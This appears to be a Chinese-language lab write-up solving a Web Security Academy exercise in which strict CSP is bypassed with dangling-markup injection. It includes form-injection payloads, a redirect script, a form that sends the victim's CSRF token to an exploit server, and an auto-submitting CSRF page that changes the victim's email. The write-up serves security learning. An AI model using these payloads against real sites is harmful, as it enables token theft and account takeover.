> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# 受严格 CSP 保护的反射型 XSS，通过悬空标记攻击

### 受非常严格 CSP 保护的反射型 XSS，使用悬空标记攻击

#### 实验目标

* 实施一次绕过 CSP 的 XSS 攻击，并通过 Burp Collaborator 外带模拟用户的 CSRF 令牌。
* 然后使用此令牌将受害者的电子邮件地址更改为 `hacker@evil-user.net`.
* 受害者可见的载荷必须包含单词 **点击** （例如 `点击我`）以促使其点击。
* 测试账户： `wiener:peter`.

#### 初步观察

* 在电子邮件更新表单中，添加 `?email=` 到 URL 中可控制值（`值`） `email` 输入字段。

<figure><img src="/files/d447ce8e848c28bfca58f89b9143aa3d5ad01615" alt=""><figcaption></figcaption></figure>

该字段可被注入 HTML 标签（测试示例）：

* `test"><h1>test</h1>` → `<h1>` 被注入并返回。

```html
test"><h1>test</h1>
```

<figure><img src="/files/c02858d92a4e54c26d2c0895bbaa95f10dc257af" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` 会出现在表单中，但\*\*不会执行\*\*。

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/6ab3aabd5363ef5ea238efb3ab92b76b59f25ab5" alt="" width="429"><figcaption></figcaption></figure>

浏览器控制台显示安全策略阻止：

{% hint style="danger" %}
Content-Security-Policy: 页面设置阻止了内联脚本（script-src-elem）执行，因为它违反了以下指令：“script-src 'self'”
{% endhint %}

<figure><img src="/files/4e1f2a5e4da9b94816251d7e10f300d24845e57c" alt=""><figcaption></figcaption></figure>

观察到的 CSP 响应头：

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/75e2d25ac0862e001434aaf0adc0992589e59340" alt=""><figcaption></figcaption></figure>

#### 攻击策略（悬空标记）

* 不要注入一个 `<script>` （被 CSP 锁定），当前表单被关闭，并创建一个新的表单\*\*，其 `action` 属性指向我们的利用服务器（exploit server）。该表单包含一个名为“Click Me”的按钮，以鼓励用户点击。

关闭表单并创建新表单的注入示例（重定向中的 URL 编码格式）：

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button
```

{% endcode %}

<figure><img src="/files/ce8cd1c9840c86b67aad8f190d08e69c22a3b651" alt=""><figcaption></figcaption></figure>

* 在受害者机器上打开此链接（例如通过重定向）后，如果受害者点击按钮，CSRF 令牌会通过 URL 发送到利用服务器，并出现在对端服务器的日志中。

<figure><img src="/files/bc656bd99e7f89d49608476ee62533593e5346dc" alt=""><figcaption></figcaption></figure>

#### 注入重定向示例（强制用户访问带载荷的漏洞页面）

* 攻击端注入的脚本，用于将受害者重定向到载荷页面（编码后的 URL）：

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* 一旦受害者被重定向并点击按钮，CSRF 令牌就会出现在利用服务器的日志中。

<figure><img src="/files/c30bbb2c63b12912b4d31bc1acc66325d159bc83" alt=""><figcaption></figcaption></figure>

#### 外带后的操作：使用 CSRF 令牌更改邮箱

* 获取 CSRF 令牌后（从利用服务器的日志中），构建一个 HTML 页面，以 POST 方式提交到 `/my-account/change-email` 使用：
* `email = hacker@evil-user.net`
* `CSRF = <获取到的令牌>`

<figure><img src="/files/e38b7c60cb92f47038244e19b3e62d129bd0891b" alt="" width="563"><figcaption></figcaption></figure>

生成的 HTML PoC 示例（由 Burp 或手动）用于自动执行 POST 请求

<figure><img src="/files/978375dc5025a339a5b1b58018927860b234639a" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="提交请求" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
